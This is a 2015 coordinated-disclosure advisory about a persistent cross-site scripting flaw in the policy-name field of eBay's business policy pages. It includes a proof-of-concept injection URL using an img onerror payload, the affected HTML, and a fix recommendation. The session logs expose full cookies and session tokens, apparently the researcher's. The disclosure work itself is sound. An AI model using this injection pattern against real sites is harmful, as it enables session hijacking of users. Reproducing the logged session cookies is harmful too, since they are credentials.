Document Title:
===============
Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1228


Release Date:
=============
2015-03-25


Vulnerability Laboratory ID (VL-ID):
====================================
1228


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995, 
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company 
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to 
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); 
online classified advertisements online event ticket trading online money transfers and other services.

(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Xcom Policy Web-Application (CMS & API).


Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-25: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple application-side input validation web vulnerabilities has been discovered in the official Ebay Xcom Policy Web-Application (CMS & API).
A persistent validation web vulnerability allows remote attackers to inject malicious script codes to the application-side of the affected ebay online-service.

The vulnerability is located in the `my ebay account > return policy > edit returm policy module. The vulnerable input is the return policy name value. 
The persistent script code execution occurs in the affected vulnerable sections of the connected `businesspolicy/manage` and `Activity Log - Item Listing` 
modules. The attack vector is persistent and the severity is medium.

The security risk of the persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.0.
Exploitation of the persistent input validation vulnerability requires a low privileged web-application user account and low user interaction. 
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent 
manipulation of affected and connected module context.

Request Method(s):
          [+] POST

Vulnerable Module(s):
          [+] My Account > Return Policy > Edit Return Policy (http://www.bizpolicy.ebay.com/businesspolicy/)

Vulnerable Input(s):
          [+] Edit return policy  >  Policy name

Vulnerable Parameter(s):
          [+] name

Affected Module(s):
          [+] ebay.com/businesspolicy/manage
          [+] Activity Log - Item Listing > Name


Proof of Concept (PoC):
=======================
The application-side cross site web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. 
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Manage your business policies
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=Return+Policy+1+
%22%3E%3Cimg+src%3Dx+onerror%3Dprompt([PERSISTENT INJECTED SCRIPT CODES!])%3B%3E&profileDesc=Returns+Accepted%2C+Buyer%2C+14+Days%2C+Money
+Back&catDefault=on&returnsAcceptedOption=ReturnsAccepted&returnsWithinOption=Days_14&refundOption=MoneyBack&shippingCostPaidByOption=Buyer&description=&_=1395079926788


PoC: Manage your business policies

<a href="return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage">Return Policy 1 [PERSISTENT SCRIPT CODE EXECUTION!]"><img src="x" onerror="prompt(23);"></a>


--- PoC Session Logs [GET] (Injection)---
Status: 200[OK]
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   Request Header:
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      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
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      Content-Encoding[gzip]
      Content-Type[application/json;charset=UTF-8]
      Transfer-Encoding[chunked]
      Date[Mon, 17 Mar 2014 17:59:47 GMT]
      Server[eBay Server]

Status: 200[OK]
GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1&_=1395075357940 
Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[22] Mime Type[text/plain]
   Request Header:
      Host[my.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
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      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
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      Content-Length[22]
      Date[Mon, 17 Mar 2014 18:00:03 GMT]

Status: 200[OK]
GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1&_=1395079046614 Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[22] Mime Type[text/plain]
   Request Header:
      Host[my.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbay&CurrentPage=MyeBayPreferences&FClassic=true&ssPageName=STRK:ME:MAPRX]
      Cookie[ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^mpc/0%7C7753346723^pbf/%2340000000000081a88200000455086ba3^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=37628EA4B997D2976280801A071E51EE]
      Connection[keep-alive]
   Response Header:
      Server[Apache-Coyote/1.1]
      rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.32%3Ef-144d1334c9e-0x132]
      Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/
ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; Domain=.ebay.com; Path=/
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ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 18:00:03 GMT;Path=/; HttpOnly
cssg=d0a5ae451440a428b382fe32fffffe84; Domain=.ebay.com; Path=/
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lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/]
      Cache-Control[private]
      Pragma[no-cache]
      Content-Type[text/plain]
      Content-Length[22]
      Date[Mon, 17 Mar 2014 18:00:03 GMT]



PoC:  Activity log: Return Policy 1 [x]

<div>
<h2 class="act-title">Activity log: <span id="policy_name">Return Policy 1 "><[PERSISTENT INJECTED SCRIPT CODES!]);"></span></h2>
<div id="activityLogContent" class="act-cnt">
<table cellpadding="0" cellspacing="0">  
<thead><tr>
<th class="first">Date/Time</th>
<th class="second">Action</th>
<th class="third">Description</th>
<th class="fourth">Report</th>
</tr></thead></table>

Note: After the exploitation the active log serivce is also compromised.


--- PoC Session Logs [GET] ---
Status: 200[OK] GET http://www.bizpolicy.ebay.com/businesspolicy/x[PERSISTENT INJECTED SCRIPT CODE!] 
Load Flags[LOAD_NORMAL] Größe des Inhalts[1201] Mime Type[text/html]
   Request Header:
      Host[www.bizpolicy.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1]
      Cookie[ebay=%5Epsi%3DASTJiAAE*%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53273c55%5E; dp1=ba1p/053289001^bl/DE56e9a581^kms/in56e9a581^reg/%5EflagReg%3D1%5E56e9a581^pcid/159931376355087201^mpc/0%7C7753346d81^pbf/%2340000000000081a88200000455087201^tzo/-3c53274c91^exc/0%3A0%3A0%3A0534ecb81^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55087201^u1f/Benjamin55087201^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMokAEwAWUAAlMokAEjMgAGAAFTKJABMACoAAFTKHhdMQFKABhTKJABNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMokAExMjI1NjM3OTA2AO4AflMokAExBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiQAXRlc3RDb29raWUA9AAiUyiQASQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiQAWQwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnP60xMzk1MDc5MzUwOjAAPQAKUyiQATIwMTQua3Vuem3M/bEjO3QgStCZxGHoMG4FWaj2Rg**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIcgEyMDE0Lmt1bnptAWQAA1UIcgEjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI1AAWM3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnRYkyMQFMABhVCHIBNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIcgE1MzI3M2RkMi4wLjEuMi4xMzYuMC4wLjIAEAAKVQhyATIwMTQua3Vuem0AMwAJVQhyATM0MTI4LERFVQDzACJVCHIBJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhyAW5ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIcgEwMDAwMDAwMYEG3noCCpfEtIJDQA4W2mCUvROF; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55087201^cguid/c77cfce61440a56b23d61f96fe2e024155087201^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIcgExMjI1NjM3OTA2LzA7Z/0uwdxIwLmpExj/Whb9VGXz2oM*; secses=BAQAAAUSucEmyAAaAAUsAGFUIcgE1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJdgCSPs+1ulBCbABPTM3Q2B4zn6g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=D0F0865539CABCE246EB953E8860B953; ds2=asotr/b7qeZzzzzzzz^sotr/b7qeZzzzzzzz^]
      Connection[keep-alive]
   Response Header:
      rlogid[t6al%7Cwliodz%3F%3Cwk%7D1e37e*%3B27c-144d14de1b3-0x96]
      Content-Type[text/html;charset=utf-8]
      Content-Length[1201]
      Date[Mon, 17 Mar 2014 18:29:05 GMT]
      Server[eBay Server]


Reference(s):
http://www.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/return
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=52844186015&mode=edit&catId=ALL&profileName=
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileId=52844186015&pageNumber=1&source=manage
http://www.bizpolicy.ebay.com/businesspolicy/manage?pageNumber=1&totalPages=1&context={%22status%22%3A%22success_edit_return%22}
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profileType=RETURN_POLICY&profileId=52844186015&pageNumber=1&source=manage
http://www.bizpolicy.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the vulnerable policy name item list and activity log name list.
Restrict the input field for special character and disallow wrong inputs by usage of a secure exception-handling to prevent exections.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the policy name & activity-log module is estimated as medium. (CVSS 4.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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